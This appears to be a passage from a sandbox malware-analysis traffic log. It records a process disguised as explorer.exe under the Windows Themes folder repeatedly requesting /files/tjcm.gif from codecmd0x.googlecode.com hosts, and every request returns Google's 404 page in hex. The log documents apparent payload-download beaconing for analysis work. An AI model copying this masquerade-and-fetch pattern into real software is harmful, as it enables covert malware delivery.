67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:17.704376936 CEST	2706	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49805	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:26.842829943 CEST	1781	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:26.869627953 CEST	1782	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:26 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:26.869663000 CEST	1782	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49885	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:18.986483097 CEST	2720	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:19.013293982 CEST	2722	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:18 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:19.013350010 CEST	2722	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49886	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:20.281632900 CEST	2723	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:20.308252096 CEST	2724	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:20 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:20.308283091 CEST	2725	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49888	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:21.579205036 CEST	2729	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:21.605839014 CEST	2734	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:21 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 